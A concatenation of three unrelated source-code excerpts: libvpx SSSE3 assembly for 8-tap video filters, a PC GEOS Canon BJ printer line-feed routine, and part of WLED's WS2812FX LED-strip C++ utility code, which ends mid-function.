%define k2k3 [rsp + 16*1]
%define k4k5 [rsp + 16*2]
%define k6k7 [rsp + 16*3]
%define krd [rsp + 16*4]
VERTx8 0
add rsp, 16*5
pop rsp
pop rbx
; begin epilog
pop rdi
pop rsi
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
;void vpx_filter_block1d16_v8_ssse3
;(
; unsigned char *src_ptr,
; unsigned int src_pitch,
; unsigned char *output_ptr,
; unsigned int out_pitch,
; unsigned int output_height,
; short *filter
;)
global sym(vpx_filter_block1d16_v8_ssse3) PRIVATE
sym(vpx_filter_block1d16_v8_ssse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 6
SAVE_XMM 7
push rsi
push rdi
push rbx
; end prolog
ALIGN_STACK 16, rax
sub rsp, 16*5
%define k0k1 [rsp + 16*0]
%define k2k3 [rsp + 16*1]
%define k4k5 [rsp + 16*2]
%define k6k7 [rsp + 16*3]
%define krd [rsp + 16*4]
VERTx16 0
add rsp, 16*5
pop rsp
pop rbx
; begin epilog
pop rdi
pop rsi
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
global sym(vpx_filter_block1d4_v8_avg_ssse3) PRIVATE
sym(vpx_filter_block1d4_v8_avg_ssse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 6
SAVE_XMM 7
push rsi
push rdi
push rbx
; end prolog
ALIGN_STACK 16, rax
sub rsp, 16*5
%define k0k1 [rsp + 16*0]
%define k2k3 [rsp + 16*1]
%define k4k5 [rsp + 16*2]
%define k6k7 [rsp + 16*3]
%define krd [rsp + 16*4]
VERTx4 1
add rsp, 16*5
pop rsp
pop rbx
; begin epilog
pop rdi
pop rsi
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
global sym(vpx_filter_block1d8_v8_avg_ssse3) PRIVATE
sym(vpx_filter_block1d8_v8_avg_ssse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 6
SAVE_XMM 7
push rsi
push rdi
push rbx
; end prolog
ALIGN_STACK 16, rax
sub rsp, 16*5
%define k0k1 [rsp + 16*0]
%define k2k3 [rsp + 16*1]
%define k4k5 [rsp + 16*2]
%define k6k7 [rsp + 16*3]
%define krd [rsp + 16*4]
VERTx8 1
add rsp, 16*5
pop rsp
pop rbx
; begin epilog
pop rdi
pop rsi
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
global sym(vpx_filter_block1d16_v8_avg_ssse3) PRIVATE
sym(vpx_filter_block1d16_v8_avg_ssse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 6
SAVE_XMM 7
push rsi
push rdi
push rbx
; end prolog
ALIGN_STACK 16, rax
sub rsp, 16*5
%define k0k1 [rsp + 16*0]
%define k2k3 [rsp + 16*1]
%define k4k5 [rsp + 16*2]
%define k6k7 [rsp + 16*3]
%define krd [rsp + 16*4]
VERTx16 1
add rsp, 16*5
pop rsp
pop rbx
; begin epilog
pop rdi
pop rsi
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
%macro HORIZx4_ROW 2
movdqa %2, %1
pshufb %1, [GLOBAL(shuf_t0t1)]
pshufb %2, [GLOBAL(shuf_t2t3)]
pmaddubsw %1, k0k1k4k5
pmaddubsw %2, k2k3k6k7
movdqa xmm4, %1
movdqa xmm5, %2
psrldq %1, 8
psrldq %2, 8
movdqa xmm6, xmm5
paddsw xmm4, %2
pmaxsw xmm5, %1
pminsw %1, xmm6
paddsw %1, xmm4
paddsw %1, xmm5
paddsw %1, krd
psraw %1, 7
packuswb %1, %1
%endm
%macro HORIZx4 1
mov rdx, arg(5) ;filter ptr
mov rsi, arg(0) ;src_ptr
mov rdi, arg(2) ;output_ptr
mov rcx, 0x0400040
movdqa xmm4, [rdx] ;load filters
movq xmm5, rcx
packsswb xmm4, xmm4
pshuflw xmm6, xmm4, 0b ;k0_k1
pshufhw xmm6, xmm6, 10101010b ;k0_k1_k4_k5
pshuflw xmm7, xmm4, 01010101b ;k2_k3
pshufhw xmm7, xmm7, 11111111b ;k2_k3_k6_k7
pshufd xmm5, xmm5, 0 ;rounding
movdqa k0k1k4k5, xmm6
movdqa k2k3k6k7, xmm7
movdqa krd, xmm5
movsxd rax, dword ptr arg(1) ;src_pixels_per_line
movsxd rdx, dword ptr arg(3) ;output_pitch
movsxd rcx, dword ptr arg(4) ;output_height
shr rcx, 1
.loop:
;Do two rows once
movq xmm0, [rsi - 3] ;load src
movq xmm1, [rsi + 5]
movq xmm2, [rsi + rax - 3]
movq xmm3, [rsi + rax + 5]
punpcklqdq xmm0, xmm1
punpcklqdq xmm2, xmm3
HORIZx4_ROW xmm0, xmm1
HORIZx4_ROW xmm2, xmm3
%if %1
movd xmm1, [rdi]
pavgb xmm0, xmm1
movd xmm3, [rdi + rdx]
pavgb xmm2, xmm3
%endif
movd [rdi], xmm0
movd [rdi +rdx], xmm2
lea rsi, [rsi + rax]
prefetcht0 [rsi + 4 * rax - 3]
lea rsi, [rsi + rax]
lea rdi, [rdi + 2 * rdx]
prefetcht0 [rsi + 2 * rax - 3]
dec rcx
jnz .loop
; Do last row if output_height is odd
movsxd rcx, dword ptr arg(4) ;output_height
and rcx, 1
je .done
movq xmm0, [rsi - 3] ; load src
movq xmm1, [rsi + 5]
punpcklqdq xmm0, xmm1
HORIZx4_ROW xmm0, xmm1
%if %1
movd xmm1, [rdi]
pavgb xmm0, xmm1
%endif
movd [rdi], xmm0
.done
%endm
%macro HORIZx8_ROW 4
movdqa %2, %1
movdqa %3, %1
movdqa %4, %1
pshufb %1, [GLOBAL(shuf_t0t1)]
pshufb %2, [GLOBAL(shuf_t2t3)]
pshufb %3, [GLOBAL(shuf_t4t5)]
pshufb %4, [GLOBAL(shuf_t6t7)]
pmaddubsw %1, k0k1
pmaddubsw %2, k2k3
pmaddubsw %3, k4k5
pmaddubsw %4, k6k7
paddsw %1, %4
movdqa %4, %2
pmaxsw %2, %3
pminsw %3, %4
paddsw %1, %3
paddsw %1, %2
paddsw %1, krd
psraw %1, 7
packuswb %1, %1
%endm
%macro HORIZx8 1
mov rdx, arg(5) ;filter ptr
mov rsi, arg(0) ;src_ptr
mov rdi, arg(2) ;output_ptr
mov rcx, 0x0400040
movdqa xmm4, [rdx] ;load filters
movq xmm5, rcx
packsswb xmm4, xmm4
pshuflw xmm0, xmm4, 0b ;k0_k1
pshuflw xmm1, xmm4, 01010101b ;k2_k3
pshuflw xmm2, xmm4, 10101010b ;k4_k5
pshuflw xmm3, xmm4, 11111111b ;k6_k7
punpcklqdq xmm0, xmm0
punpcklqdq xmm1, xmm1
punpcklqdq xmm2, xmm2
punpcklqdq xmm3, xmm3
movdqa k0k1, xmm0
movdqa k2k3, xmm1
pshufd xmm5, xmm5, 0
movdqa k4k5, xmm2
movdqa k6k7, xmm3
movdqa krd, xmm5
movsxd rax, dword ptr arg(1) ;src_pixels_per_line
movsxd rdx, dword ptr arg(3) ;output_pitch
movsxd rcx, dword ptr arg(4) ;output_height
shr rcx, 1
.loop:
movq xmm0, [rsi - 3] ;load src
movq xmm3, [rsi + 5]
movq xmm4, [rsi + rax - 3]
movq xmm7, [rsi + rax + 5]
punpcklqdq xmm0, xmm3
punpcklqdq xmm4, xmm7
HORIZx8_ROW xmm0, xmm1, xmm2, xmm3
HORIZx8_ROW xmm4, xmm5, xmm6, xmm7
%if %1
movq xmm1, [rdi]
movq xmm2, [rdi + rdx]
pavgb xmm0, xmm1
pavgb xmm4, xmm2
%endif
movq [rdi], xmm0
movq [rdi + rdx], xmm4
lea rsi, [rsi + rax]
prefetcht0 [rsi + 4 * rax - 3]
lea rsi, [rsi + rax]
lea rdi, [rdi + 2 * rdx]
prefetcht0 [rsi + 2 * rax - 3]
dec rcx
jnz .loop
;Do last row if output_height is odd
movsxd rcx, dword ptr arg(4) ;output_height
and rcx, 1
je .done
movq xmm0, [rsi - 3]
movq xmm3, [rsi + 5]
punpcklqdq xmm0, xmm3
HORIZx8_ROW xmm0, xmm1, xmm2, xmm3
%if %1
movq xmm1, [rdi]
pavgb xmm0, xmm1
%endif
movq [rdi], xmm0
.done
%endm
%macro HORIZx16 1
mov rdx, arg(5) ;filter ptr
mov rsi, arg(0) ;src_ptr
mov rdi, arg(2) ;output_ptr
mov rcx, 0x0400040
movdqa xmm4, [rdx] ;load filters
movq xmm5, rcx
packsswb xmm4, xmm4
pshuflw xmm0, xmm4, 0b ;k0_k1
pshuflw xmm1, xmm4, 01010101b ;k2_k3
pshuflw xmm2, xmm4, 10101010b ;k4_k5
pshuflw xmm3, xmm4, 11111111b ;k6_k7
punpcklqdq xmm0, xmm0
punpcklqdq xmm1, xmm1
punpcklqdq xmm2, xmm2
punpcklqdq xmm3, xmm3
movdqa k0k1, xmm0
movdqa k2k3, xmm1
pshufd xmm5, xmm5, 0
movdqa k4k5, xmm2
movdqa k6k7, xmm3
movdqa krd, xmm5
movsxd rax, dword ptr arg(1) ;src_pixels_per_line
movsxd rdx, dword ptr arg(3) ;output_pitch
movsxd rcx, dword ptr arg(4) ;output_height
.loop:
prefetcht0 [rsi + 2 * rax -3]
movq xmm0, [rsi - 3] ;load src data
movq xmm4, [rsi + 5]
movq xmm6, [rsi + 13]
punpcklqdq xmm0, xmm4
punpcklqdq xmm4, xmm6
movdqa xmm7, xmm0
punpcklbw xmm7, xmm7
punpckhbw xmm0, xmm0
movdqa xmm1, xmm0
movdqa xmm2, xmm0
movdqa xmm3, xmm0
palignr xmm0, xmm7, 1
palignr xmm1, xmm7, 5
pmaddubsw xmm0, k0k1
palignr xmm2, xmm7, 9
pmaddubsw xmm1, k2k3
palignr xmm3, xmm7, 13
pmaddubsw xmm2, k4k5
pmaddubsw xmm3, k6k7
paddsw xmm0, xmm3
movdqa xmm3, xmm4
punpcklbw xmm3, xmm3
punpckhbw xmm4, xmm4
movdqa xmm5, xmm4
movdqa xmm6, xmm4
movdqa xmm7, xmm4
palignr xmm4, xmm3, 1
palignr xmm5, xmm3, 5
palignr xmm6, xmm3, 9
palignr xmm7, xmm3, 13
movdqa xmm3, xmm1
pmaddubsw xmm4, k0k1
pmaxsw xmm1, xmm2
pmaddubsw xmm5, k2k3
pminsw xmm2, xmm3
pmaddubsw xmm6, k4k5
paddsw xmm0, xmm2
pmaddubsw xmm7, k6k7
paddsw xmm0, xmm1
paddsw xmm4, xmm7
movdqa xmm7, xmm5
pmaxsw xmm5, xmm6
pminsw xmm6, xmm7
paddsw xmm4, xmm6
paddsw xmm4, xmm5
paddsw xmm0, krd
paddsw xmm4, krd
psraw xmm0, 7
psraw xmm4, 7
packuswb xmm0, xmm0
packuswb xmm4, xmm4
punpcklqdq xmm0, xmm4
%if %1
movdqa xmm1, [rdi]
pavgb xmm0, xmm1
%endif
lea rsi, [rsi + rax]
movdqa [rdi], xmm0
lea rdi, [rdi + rdx]
dec rcx
jnz .loop
%endm
;void vpx_filter_block1d4_h8_ssse3
;(
; unsigned char *src_ptr,
; unsigned int src_pixels_per_line,
; unsigned char *output_ptr,
; unsigned int output_pitch,
; unsigned int output_height,
; short *filter
;)
global sym(vpx_filter_block1d4_h8_ssse3) PRIVATE
sym(vpx_filter_block1d4_h8_ssse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 6
SAVE_XMM 7
GET_GOT rbx
push rsi
push rdi
; end prolog
ALIGN_STACK 16, rax
sub rsp, 16 * 3
%define k0k1k4k5 [rsp + 16 * 0]
%define k2k3k6k7 [rsp + 16 * 1]
%define krd [rsp + 16 * 2]
HORIZx4 0
add rsp, 16 * 3
pop rsp
; begin epilog
pop rdi
pop rsi
RESTORE_GOT
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
;void vpx_filter_block1d8_h8_ssse3
;(
; unsigned char *src_ptr,
; unsigned int src_pixels_per_line,
; unsigned char *output_ptr,
; unsigned int output_pitch,
; unsigned int output_height,
; short *filter
;)
global sym(vpx_filter_block1d8_h8_ssse3) PRIVATE
sym(vpx_filter_block1d8_h8_ssse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 6
SAVE_XMM 7
GET_GOT rbx
push rsi
push rdi
; end prolog
ALIGN_STACK 16, rax
sub rsp, 16*5
%define k0k1 [rsp + 16*0]
%define k2k3 [rsp + 16*1]
%define k4k5 [rsp + 16*2]
%define k6k7 [rsp + 16*3]
%define krd [rsp + 16*4]
HORIZx8 0
add rsp, 16*5
pop rsp
; begin epilog
pop rdi
pop rsi
RESTORE_GOT
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
;void vpx_filter_block1d16_h8_ssse3
;(
; unsigned char *src_ptr,
; unsigned int src_pixels_per_line,
; unsigned char *output_ptr,
; unsigned int output_pitch,
; unsigned int output_height,
; short *filter
;)
global sym(vpx_filter_block1d16_h8_ssse3) PRIVATE
sym(vpx_filter_block1d16_h8_ssse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 6
SAVE_XMM 7
GET_GOT rbx
push rsi
push rdi
; end prolog
ALIGN_STACK 16, rax
sub rsp, 16*5
%define k0k1 [rsp + 16*0]
%define k2k3 [rsp + 16*1]
%define k4k5 [rsp + 16*2]
%define k6k7 [rsp + 16*3]
%define krd [rsp + 16*4]
HORIZx16 0
add rsp, 16*5
pop rsp
; begin epilog
pop rdi
pop rsi
RESTORE_GOT
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
global sym(vpx_filter_block1d4_h8_avg_ssse3) PRIVATE
sym(vpx_filter_block1d4_h8_avg_ssse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 6
SAVE_XMM 7
GET_GOT rbx
push rsi
push rdi
; end prolog
ALIGN_STACK 16, rax
sub rsp, 16 * 3
%define k0k1k4k5 [rsp + 16 * 0]
%define k2k3k6k7 [rsp + 16 * 1]
%define krd [rsp + 16 * 2]
HORIZx4 1
add rsp, 16 * 3
pop rsp
; begin epilog
pop rdi
pop rsi
RESTORE_GOT
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
global sym(vpx_filter_block1d8_h8_avg_ssse3) PRIVATE
sym(vpx_filter_block1d8_h8_avg_ssse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 6
SAVE_XMM 7
GET_GOT rbx
push rsi
push rdi
; end prolog
ALIGN_STACK 16, rax
sub rsp, 16*5
%define k0k1 [rsp + 16*0]
%define k2k3 [rsp + 16*1]
%define k4k5 [rsp + 16*2]
%define k6k7 [rsp + 16*3]
%define krd [rsp + 16*4]
HORIZx8 1
add rsp, 16*5
pop rsp
; begin epilog
pop rdi
pop rsi
RESTORE_GOT
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
global sym(vpx_filter_block1d16_h8_avg_ssse3) PRIVATE
sym(vpx_filter_block1d16_h8_avg_ssse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 6
SAVE_XMM 7
GET_GOT rbx
push rsi
push rdi
; end prolog
ALIGN_STACK 16, rax
sub rsp, 16*5
%define k0k1 [rsp + 16*0]
%define k2k3 [rsp + 16*1]
%define k4k5 [rsp + 16*2]
%define k6k7 [rsp + 16*3]
%define krd [rsp + 16*4]
HORIZx16 1
add rsp, 16*5
pop rsp
; begin epilog
pop rdi
pop rsi
RESTORE_GOT
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
SECTION_RODATA
align 16
shuf_t0t1:
db 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8
align 16
shuf_t2t3:
db 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10
align 16
shuf_t4t5:
db 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12
align 16
shuf_t6t7:
db 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13, 14
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GlobalPC 1999 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Print Drivers
FILE: cursorPrLineFeedCanonBJ.asm
AUTHOR: Joon Song, 10 Jan 1999
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Joon 1/10/99 Initial revision from cursorPrLineFeed.asm
DESCRIPTION:
$Id$
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrLineFeed
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
Executes a vertical line feed of dx <printer units>, and updates
the cursor position accordingly.
CALLED BY:
Jump Table
PASS:
es = segment of PState
dx = length, in <printer units>" to line feed.
RETURN:
carry - set if some transmission error
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Joon 01/99 Initial version from cursorPrLineFeed.asm
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrLineFeed proc near
uses ax,cx,si
.enter
add es:[PS_cursorPos].P_y,dx
mov si,offset pr_codes_DoLineFeed
call SendCodeOut ;send following 1/360" feed
jc exit
mov cl, dh ;write high byte of count
call PrintStreamWriteByte
jc exit
mov cl, dl ;write low byte of count
call PrintStreamWriteByte
exit:
.leave
ret
PrLineFeed endp
|
/*
WS2812FX_fcn.cpp contains all utility functions
Harm Aldick - 2016
www.aldick.org
LICENSE
The MIT License (MIT)
Copyright (c) 2016 Harm Aldick
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
Modified heavily for WLED
*/
#include "FX.h"
#include "palettes.h"
/*
Custom per-LED mapping has moved!
Create a file "ledmap.json" using the edit page.
this is just an example (30 LEDs). It will first set all even, then all uneven LEDs.
{"map":[
0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28,
1, 3, 5, 7, 9, 11, 13, 15, 17, 19, 21, 23, 25, 27, 29]}
another example. Switches direction every 5 LEDs.
{"map":[
0, 1, 2, 3, 4, 9, 8, 7, 6, 5, 10, 11, 12, 13, 14,
19, 18, 17, 16, 15, 20, 21, 22, 23, 24, 29, 28, 27, 26, 25]
*/
//do not call this method from system context (network callback)
void WS2812FX::finalizeInit(bool supportWhite, uint16_t countPixels, bool skipFirst)
{
if (supportWhite == _useRgbw && countPixels == _length && _skipFirstMode == skipFirst) return;
RESET_RUNTIME;
_useRgbw = supportWhite;
_length = countPixels;
_skipFirstMode = skipFirst;
_lengthRaw = _length;
if (_skipFirstMode) {
_lengthRaw += LED_SKIP_AMOUNT;
}
//if busses failed to load, add default (FS issue...)
if (busses.getNumBusses() == 0) {
uint8_t defPin[] = {LEDPIN};
BusConfig defCfg = BusConfig(TYPE_WS2812_RGB, defPin, 0, _lengthRaw, COL_ORDER_GRB);
busses.add(defCfg);
}
deserializeMap();
//make segment 0 cover the entire strip
_segments[0].start = 0;
_segments[0].stop = _length;
setBrightness(_brightness);
#ifdef ESP8266
for (uint8_t i = 0; i < busses.getNumBusses(); i++) {
Bus* b = busses.getBus(i);
if ((!IS_DIGITAL(b->getType()) || IS_2PIN(b->getType()))) continue;
uint8_t pins[5];
b->getPins(pins);
BusDigital* bd = static_cast<BusDigital*>(b);
if (pins[0] == 3) bd->reinit();
}
#endif
}
void WS2812FX::service() {
uint32_t nowUp = millis(); // Be aware, millis() rolls over every 49 days
now = nowUp + timebase;
if (nowUp - _lastShow < MIN_SHOW_DELAY) return;
bool doShow = false;
for(uint8_t i=0; i < MAX_NUM_SEGMENTS; i++)
{
_segment_index = i;
// reset the segment runtime data if needed, called before isActive to ensure deleted
// segment's buffers are cleared
SEGENV.resetIfRequired();
if (!SEGMENT.isActive()) continue;
if(nowUp > SEGENV.next_time || _triggered || (doShow && SEGMENT.mode == 0)) //last is temporary
{
if (SEGMENT.grouping == 0) SEGMENT.grouping = 1; //sanity check
doShow = true;
uint16_t delay = FRAMETIME;
if (!SEGMENT.getOption(SEG_OPTION_FREEZE)) { //only run effect function if not frozen
_virtualSegmentLength = SEGMENT.virtualLength();
_bri_t = SEGMENT.opacity; _colors_t[0] = SEGMENT.colors[0]; _colors_t[1] = SEGMENT.colors[1]; _colors_t[2] = SEGMENT.colors[2];
if (!IS_SEGMENT_ON) _bri_t = 0;
for (uint8_t t = 0; t < MAX_NUM_TRANSITIONS; t++) {
if ((transitions[t].segment & 0x3F) != i) continue;
uint8_t slot = transitions[t].segment >> 6;
if (slot == 0) _bri_t = transitions[t].currentBri();
_colors_t[slot] = transitions[t].currentColor(SEGMENT.colors[slot]);
}
for (uint8_t c = 0; c < 3; c++) _colors_t[c] = gamma32(_colors_t[c]);
handle_palette();
delay = (this->*_mode[SEGMENT.mode])(); //effect function
if (SEGMENT.mode != FX_MODE_HALLOWEEN_EYES) SEGENV.call++;
}
SEGENV.next_time = nowUp + delay;
}
}
_virtualSegmentLength = 0;
if(doShow) {
yield();
show();
}
_triggered = false;
}
void WS2812FX::setPixelColor(uint16_t n, uint32_t c) {
uint8_t w = (c >> 24);
uint8_t r = (c >> 16);
uint8_t g = (c >> 8);
uint8_t b = c ;
setPixelColor(n, r, g, b, w);
}
//used to map from segment index to physical pixel, taking into account grouping, offsets, reverse and mirroring
uint16_t WS2812FX::realPixelIndex(uint16_t i) {
int16_t iGroup = i * SEGMENT.groupLength();
/* reverse just an individual segment */
int16_t realIndex = iGroup;
if (IS_REVERSE) {
if (IS_MIRROR) {
realIndex = (SEGMENT.length() -1) / 2 - iGroup; //only need to index half the pixels
} else {
realIndex = SEGMENT.length() - iGroup - 1;
}
}
realIndex += SEGMENT.start;
return realIndex;
}
void WS2812FX::setPixelColor(uint16_t i, byte r, byte g, byte b, byte w)
{
//auto calculate white channel value if enabled
if (_useRgbw) {
if (rgbwMode == RGBW_MODE_AUTO_BRIGHTER || (w == 0 && (rgbwMode == RGBW_MODE_DUAL || rgbwMode == RGBW_MODE_LEGACY)))
{
//white value is set to lowest RGB channel
//thank you to @Def3nder!
w = r < g ? (r < b ? r : b) : (g < b ? g : b);
} else if (rgbwMode == RGBW_MODE_AUTO_ACCURATE && w == 0)
{
w = r < g ? (r < b ? r : b) : (g < b ? g : b);
r -= w; g -= w; b -= w;
}
}
uint16_t skip = _skipFirstMode ? LED_SKIP_AMOUNT : 0;
if (SEGLEN) {//from segment
//color_blend(getpixel, col, _bri_t); (pseudocode for future blending of segments)
if (_bri_t < 255) {
r = scale8(r, _bri_t);
g = scale8(g, _bri_t);
b = scale8(b, _bri_t);
w = scale8(w, _bri_t);
}
uint32_t col = ((w << 24) | (r << 16) | (g << 8) | (b));
/* Set all the pixels in the group, ensuring _skipFirstMode is honored */
bool reversed = IS_REVERSE;
uint16_t realIndex = realPixelIndex(i);
for (uint16_t j = 0; j < SEGMENT.grouping; j++) {
int16_t indexSet = realIndex + (reversed ? -j : j);
if (indexSet < customMappingSize) indexSet = customMappingTable[indexSet];
if (indexSet >= SEGMENT.start && indexSet < SEGMENT.stop) {
busses.setPixelColor(indexSet + skip, col);
if (IS_MIRROR) { //set the corresponding mirrored pixel
uint16_t indexMir = SEGMENT.stop - indexSet + SEGMENT.start - 1;
if (indexMir < customMappingSize) indexMir = customMappingTable[indexMir];
busses.setPixelColor(indexMir + skip, col);
}
}
}
} else { //live data, etc.
if (i < customMappingSize) i = customMappingTable[i];
uint32_t col = ((w << 24) | (r << 16) | (g << 8) | (b));
busses.setPixelColor(i + skip, col);
}
if (skip && i == 0) {
for (uint16_t j = 0; j < skip; j++) {
busses.setPixelColor(j, BLACK);
}
}
}
//DISCLAIMER
//The following function attemps to calculate the current LED power usage,
//and will limit the brightness to stay below a set amperage threshold.
//It is NOT a measurement and NOT guaranteed to stay within the ablMilliampsMax margin.
//Stay safe with high amperage and have a reasonable safety margin!
//I am NOT to be held liable for burned down garages!
//fine tune power estimation constants for your setup
#define MA_FOR_ESP 100 //how much mA does the ESP use (Wemos D1 about 80mA, ESP32 about 120mA)
//you can set it to 0 if the ESP is powered by USB and the LEDs by external
void WS2812FX::show(void) {
// avoid race condition, caputre _callback value
show_callback callback = _callback;
if (callback) callback();
//power limit calculation
//each LED can draw up 195075 "power units" (approx. 53mA)
//one PU is the power it takes to have 1 channel 1 step brighter per brightness step
//so A=2,R=255,G=0,B=0 would use 510 PU per LED (1mA is about 3700 PU)
bool useWackyWS2815PowerModel = false;
byte actualMilliampsPerLed = milliampsPerLed;
if(milliampsPerLed == 255) {
useWackyWS2815PowerModel = true;
actualMilliampsPerLed = 12; // from testing an actual strip
}
if (ablMilliampsMax > 149 && actualMilliampsPerLed > 0) //0 mA per LED and too low numbers turn off calculation
{
uint32_t puPerMilliamp = 195075 / actualMilliampsPerLed;
uint32_t powerBudget = (ablMilliampsMax - MA_FOR_ESP) * puPerMilliamp; //100mA for ESP power
if (powerBudget > puPerMilliamp * _length) //each LED uses about 1mA in standby, exclude that from power budget
{
powerBudget -= puPerMilliamp * _length;
} else
{
powerBudget = 0;
}
uint32_t powerSum = 0;
for (uint16_t i = 0; i < _length; i++) //sum up the usage of each LED
{
RgbwColor c = busses.getPixelColor(i);
if(useWackyWS2815PowerModel)
{
// ignore white component on WS2815 power calculation
powerSum += (MAX(MAX(c.R,c.G),c.B)) * 3;
}
else
{
powerSum += (c.R + c.G + c.B + c.W);
}
}
if (_useRgbw) //RGBW led total output with white LEDs enabled is still 50mA, so each channel uses less
{
powerSum *= 3;
powerSum = powerSum >> 2; //same as /= 4
}
uint32_t powerSum0 = powerSum;
powerSum *= _brightness;
if (powerSum > powerBudget) //scale brightness down to stay in current limit
{
float scale = (float)powerBudget / (float)powerSum;
uint16_t scaleI = scale * 255;
uint8_t scaleB = (scaleI > 255) ? 255 : scaleI;
uint8_t newBri = scale8(_brightness, scaleB);
busses.setBrightness(newBri);
currentMilliamps = (powerSum0 * newBri) / puPerMilliamp;
} else
{
currentMilliamps = powerSum / puPerMilliamp;
busses.setBrightness(_brightness);
}
currentMilliamps += MA_FOR_ESP; //add power of ESP back to estimate
currentMilliamps += _length; //add standby power back to estimate
} else {
currentMilliamps = 0;
busses.setBrightness(_brightness);
}
// some buses send asynchronously and this method will return before
// all of the data has been sent.
// See https://github.com/Makuna/NeoPixelBus/wiki/ESP32-NeoMethods#neoesp32rmt-methods
busses.show();
unsigned long now = millis();
unsigned long diff = now - _lastShow;
uint16_t fpsCurr = 200;
if (diff > 0) fpsCurr = 1000 / diff;
_cumulativeFps = (3 * _cumulativeFps + fpsCurr) >> 2;
_lastShow = now;
}
/**
* Returns a true value if any of the strips are still being updated.
* On some hardware (ESP32), strip updates are done asynchronously.
*/
bool WS2812FX::isUpdating() {
return !busses.canAllShow();
}
/**
* Returns the refresh rate of the LED strip. Useful for finding out whether a given setup is fast enough.
* Only updates on show() or is set to 0 fps if last show is more than 2 secs ago, so accurary varies
*/
uint16_t WS2812FX::getFps() {
if (millis() - _lastShow > 2000) return 0;
return _cumulativeFps +1;
}
/**
* Forces the next frame to be computed on all active segments.
*/
void WS2812FX::trigger() {
_triggered = true;
}
void WS2812FX::setMode(uint8_t segid, uint8_t m) {
if (segid >= MAX_NUM_SEGMENTS) return;
if (m >= MODE_COUNT) m = MODE_COUNT - 1;
if (_segments[segid].mode != m)
{
_segment_runtimes[segid].reset();
_segments[segid].mode = m;
}
}
uint8_t WS2812FX::getModeCount()
{
return MODE_COUNT;
}
uint8_t WS2812FX::getPaletteCount()
{
return 13 + GRADIENT_PALETTE_COUNT;
}
//TODO effect transitions
bool WS2812FX::setEffectConfig(uint8_t m, uint8_t s, uint8_t in, uint8_t p) {
Segment& seg = _segments[getMainSegmentId()];
uint8_t modePrev = seg.mode, speedPrev = seg.speed, intensityPrev = seg.intensity, palettePrev = seg.palette;
bool applied = false;
if (applyToAllSelected) {
for (uint8_t i = 0; i < MAX_NUM_SEGMENTS; i++)
{
if (_segments[i].isSelected())
{
_segments[i].speed = s;
_segments[i].intensity = in;
_segments[i].palette = p;
setMode(i, m);
applied = true;
}
}
}
if (!applyToAllSelected || !applied) {
seg.speed = s;
seg.intensity = in;
seg.palette = p;
setMode(mainSegment, m);
}
